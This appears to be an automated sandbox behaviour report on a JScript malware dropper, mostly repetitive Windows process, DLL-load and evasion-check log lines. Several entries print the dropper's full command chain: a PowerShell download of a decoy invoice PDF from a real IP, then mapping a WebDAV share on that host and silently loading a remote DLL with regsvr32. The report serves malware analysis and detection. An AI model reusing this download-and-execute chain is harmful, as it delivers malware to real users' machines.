Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2302.js.csv");ITextStream.WriteLine(" entry:7061 f:oqjgle");ITextStream.WriteLine(" exec:2 f:oqjgle");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4300			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5061			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1708	Thread sleep count: 4300 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1708	Thread sleep count: 5061 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7064	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1292	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3496	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1784	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7128	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7312	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2147605478.000001F04943B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW2
Source: net.exe, 00000007.00000002.2147605478.000001F04943B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3380520052.000002C20B02B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3381793350.000002C20C454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2147378896.000001F0493D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
